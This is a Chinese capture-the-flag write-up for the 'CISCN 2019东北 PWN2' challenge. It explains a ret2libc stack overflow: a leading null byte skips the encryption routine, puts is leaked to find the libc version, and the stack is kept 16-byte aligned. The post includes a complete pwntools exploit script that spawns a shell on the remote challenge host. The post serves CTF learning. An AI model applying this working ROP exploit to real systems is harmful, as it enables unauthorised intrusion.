0%

题解

2025-12-26 20:00By
ezhpry
ret2libc栈溢出

Problem: [CISCN 2019东北]PWN2

思路

  • 解题大致思路
  • 1341df5d9b.jpg
  • 拖入ida不难看出,我们开始要输入1,触发encrypt函数对我们的输入进行加密。
  • 8eafc9f6a5.jpg
  • 由上图,x作为全局变量是0
  • 如果strlen是0,那么加密不会执行
  • 如果我们输入\x00,也就是字符串的结束,就不会对我们的输入进行加密。
  • 本题没有提供libc,需要自己用LibcSearcher查找,本题使用libc6_2.27-0ubuntu3_amd64
  • 需要注意栈上16字节对齐

EXP

  • 具体攻击代码

    from pwn import * from LibcSearcher import LibcSearcher context(os="linux",arch="amd64",log_level="debug") def connect(server): hp=server hp_list=hp.split(':') return remote(hp_list[0],hp_list[1]) r=connect('node5.anna.nssctf.cn:27452') #r=process('./pwn02') elf=ELF('./pwn02') rop=ROP(elf) #address pop_rdi=rop.find_gadget(['pop rdi','ret'])[0] puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] encrypt=elf.sym['encrypt'] r.sendlineafter(b'Input your choice!\n',b'1') payload=b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt) r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload) r.recvuntil(b'Ciphertext\n\n') puts_addr=u64(r.recv(6).ljust(8,b'\x00')) log.success(f"puts_addr is {hex(puts_addr)}") libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') system=libc_base + libc.dump('system') binsh=libc_base + libc.dump('str_bin_sh') ret=rop.find_gadget(['ret'])[0] payload=payload=b'\x00'+b'a'*87+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload) r.interactive()

总结

  • 对该题的考点总结
  • libc未知,需要自己通过偏移查找
  • 注意栈上16字节对齐
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论